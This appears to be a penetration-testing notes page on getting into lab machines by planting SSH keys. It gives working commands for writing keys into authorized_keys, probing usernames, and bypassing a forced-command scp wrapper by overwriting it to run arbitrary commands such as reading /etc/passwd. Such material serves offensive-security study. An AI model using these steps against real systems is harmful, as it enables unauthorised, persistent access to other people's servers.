Techniques / Shells and Access
SSH Key Access
Planting an SSH public key is often faster and more stable than a reverse shell, and it is the only option when a server is publickey-only. Any write into a user’s ~/.ssh/authorized_keys becomes a login as that user, whether the write comes from a MySQL INTO OUTFILE, a file-write primitive, a root-run script, or an admin console like Cockpit.
Generate a keypair
ssh-keygen -t rsa -b 2048 -f ./boxkey -N ''
cat ./boxkey.pub
-N ''sets an empty passphrase so the login is non-interactive, which matters when the key is used from a script or a raw shell.-f ./boxkeywrites to the current directory instead of~/.ssh, so the real key is left alone. Producesboxkey(private) andboxkey.pub(the single line that goes intoauthorized_keys).-t rsais the safe default for lab targets. An oldersshdor a dropbear may not accept ed25519, so RSA avoids a silent rejection. Use-t ed25519on a known-modern host if a shorter pubkey line is easier to paste through a cramped shell.
Log in
chmod 600 ./boxkey
ssh -i ./boxkey user@target
chmod 600 on the private key is required, since ssh refuses a key that is group- or world-readable.
The failure it produces is misleading, because a key ssh declines to load is never offered, and the server then reports that no key was presented:
Permissions 0644 for './boxkey' are too open.
This private key will be ignored.
Load key "./boxkey": bad permissions
user@target: Permission denied (publickey).
The last line is identical to a wrong key being rejected. The lines above it are the ones that say what happened, so read the whole failure rather than the final line. A key recovered from an archive is the usual source of this, since unzip and tar restore the stored mode, which is normally 644.
Placing the public key
The pubkey is one line. Append it, never overwrite:
echo 'ssh-rsa AAAA... kali@kali' >> /home/user/.ssh/authorized_keys
>> keeps any existing key working, which is quieter, and a MySQL INTO OUTFILE refuses to overwrite an existing file anyway (see MySQL Privilege Escalation).
If ~/.ssh does not exist and the write primitive cannot mkdir (INTO OUTFILE cannot), a command-execution primitive can: create the directory first, then drop the key. The UDF route in MySQL Privilege Escalation does exactly this to reach /root/.ssh.
StrictModes: the usual reason it silently fails
sshd enforces StrictModes by default and ignores a key whose file permissions or ownership are wrong, with no error to the client. The login just falls through to the next method or to Permission denied. For the key to be honoured:
~/.sshmust be700.authorized_keysmust be600.- Both must be owned by the target user.
The trap is a key written by a service account. mysqld writing into /home/oscp/.ssh leaves the file owned by mysql, so the login fails until ownership and modes are fixed. An admin console that writes the file as the account it belongs to (Cockpit) gets this right for free, which is what made the key work on Cockpit.
Forced commands
An authorized_keys line can carry options in front of the key type, and they restrict what that key is allowed to do:
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh" ssh-rsa AAAAB3... max@sorcerer
command="..." is a forced command. Whatever the client asks sshd to run is discarded, the named program runs in its place on every connection, and the client’s request is passed to it in the environment variable $SSH_ORIGINAL_COMMAND. The usual purpose is a key that may only transfer files or only run one backup script. no-pty removes the controlling terminal, so a shell obtained through such a key prints cannot set terminal process group and no job control in this shell and works fine for everything except job control.
The comment at the end of the line names who generated the key, not who it logs in as. The account is decided entirely by which ~/.ssh/authorized_keys the line sits in.
If the file cannot be located, probe for the account instead. A forced command turns the login into an oracle, because a wrong username fails authentication outright while the right one runs the wrapper and produces its output:
for u in root max jeff admin; do
echo "=== $u"
ssh -i ./key -o BatchMode=yes $u@TARGET id 2>&1 | head -3
done
Permission denied (publickey). rules the user out. Any output from the wrapper identifies the account, and the id was never executed by anything.
Attacking the wrapper
A typical wrapper allows one command family through:
case $SSH_ORIGINAL_COMMAND in
'scp'*) $SSH_ORIGINAL_COMMAND ;;
*) echo "ACCESS DENIED." ;;
esac
$SSH_ORIGINAL_COMMAND unquoted looks like a shell injection and is not one. Unquoted parameter expansion performs word splitting and globbing only, and does not re-parse the result for metacharacters, so scp; id runs a binary literally named scp;. &&, |, backticks and redirections all fail the same way. The bypass goes through the permitted program’s own options:
scp -S programreplacessshwithprogramfor the connection, so the named executable runs as the key’s owner. It needs a path to something already executable on the target.scp -o ProxyCommand=...is passed through tossh, which runs the value via/bin/sh -c. The value has to be a single word, since word splitting has already happened by then, so in practice it also points at a dropped file.- Overwriting the wrapper itself, when the script lives somewhere the permitted operation can write. This is the strongest case and needs no second primitive.
The last one closes the loop when the wrapper sits inside the home directory of the account the key belongs to, which is where a hand-written one usually ends up. The transfer channel replaces the script that restricts the transfer channel:
printf '#!/bin/bash\nbash -c "$SSH_ORIGINAL_COMMAND"\n' > wrapper.sh
chmod +x wrapper.sh
scp -O -p -i ./key wrapper.sh user@TARGET:/home/user/scp_wrapper.sh
ssh -i ./key user@TARGET 'id; cat /etc/passwd'
-p preserves the mode bits and is mandatory. There is no chmod over this channel, sshd executes the forced command through the login shell, and a replacement that lands 644 fails on every subsequent connection, which bricks the key with no way to fix it. Quoting $SSH_ORIGINAL_COMMAND inside bash -c is what lets pipes and semicolons work afterwards.
Keep the original wrapper. Restoring it is one more scp and it is the difference between a reversible change and a broken key.
scp -O
Since OpenSSH 9.0 the scp client uses the SFTP protocol by default. It requests the sftp subsystem rather than sending a command line, so $SSH_ORIGINAL_COMMAND arrives as sftp and any server-side check matching on the literal string scp refuses a perfectly valid transfer:
scp -O -i ./key user@TARGET:/etc/passwd .
-O forces the original SCP protocol, making the remote command scp -f -- /path for a download and scp -t -- /path for an upload. A modern Kali against an older wrapper needs it every time.
This was the whole of Sorcerer, where a key restricted to scp could write to the script enforcing the restriction.
Reading the failure
user@target: Permission denied (publickey).
The methods in parentheses are the complete list of what the server accepts. (publickey) alone means PasswordAuthentication is off, so a cleartext password cannot be spent on this host at all and a key is the only way in. That message is a server-wide policy, so changing the username does not change it. On Cockpit this is what forced the pivot from a leaked password to a planted key.
The same answer is available without attempting a login at all, which matters when the alternative is spending a found password on a host that cannot accept one:
nmap -p22 --script ssh-auth-methods TARGET
| ssh-auth-methods:
| Supported authentication methods:
|_ publickey
AutoRecon runs this script in its SSH plugin, so on any box scanned with it the answer is already in scans/ before the first ssh is typed. Sorcerer is the case where it was not read and the same fact was rediscovered twice by hand.
ssh -vshows the full negotiation and whether the key was even offered.- If a modern Kali refuses to talk to an old
sshd, force the legacy algorithms:ssh -i key -o PubkeyAcceptedKeyTypes=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa user@target.
Too many authentication failures
Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures
This is the client offering too many keys, not a wrong password. Even with -i key, ssh also offers every identity loaded in the agent and every default identity file it finds, and it tries them one per authentication attempt. sshd closes the connection once the attempts pass MaxAuthTries (default 6), which can happen before the correct key is reached.
ssh -v shows the count and the order:
debug1: get_agent_identities: agent returned 7 keys
debug1: Will attempt key: .ssh/Key-2022-Q3 ED25519 ... explicit agent
debug1: Will attempt key: .ssh/Key-2022-03-14 RSA ... explicit agent
Restrict ssh to only the key named with -i:
ssh -o IdentitiesOnly=yes -i key user@target
The same option belongs in ~/.ssh/config under a host block (IdentitiesOnly yes with a single IdentityFile) when the login is scripted or aliased. On Boolean a remi user had alias root='ssh -l root -i ~/.ssh/keys/root 127.0.0.1', and the alias failed with this error because ~/.ssh/keys held several other keys the agent offered first. Adding -o IdentitiesOnly=yes to the alias command got root on the first attempt.
Loopback-only and from-restricted keys
A key that sshd refuses over the network can still be valid from localhost. Two mechanisms restrict where a key is accepted:
from="127.0.0.1"prefixed on theauthorized_keysline, which limits that key to connections from the listed addresses.- A
Match Address 127.0.0.1block (orPermitRootLoginset to reject network logins) insshd_config.
The symptom is ssh user@target -i key from Kali falling through to a password prompt while the same key works from a shell already on the box:
ssh -i key -o IdentitiesOnly=yes [email protected]
A prepared ssh ... 127.0.0.1 alias sitting in a user’s shell config is the tell that this is the intended root hop, run it on the target rather than from Kali. This was the root step on Boolean.
Cross-references
- Stealing a key rather than planting one: Credential Hunting (
findforid_*), Weak File Permissions (world-readable root key), Password Cracking (ssh2johnfor a passphrase-protected key). - Placing a key through a database: MySQL Privilege Escalation.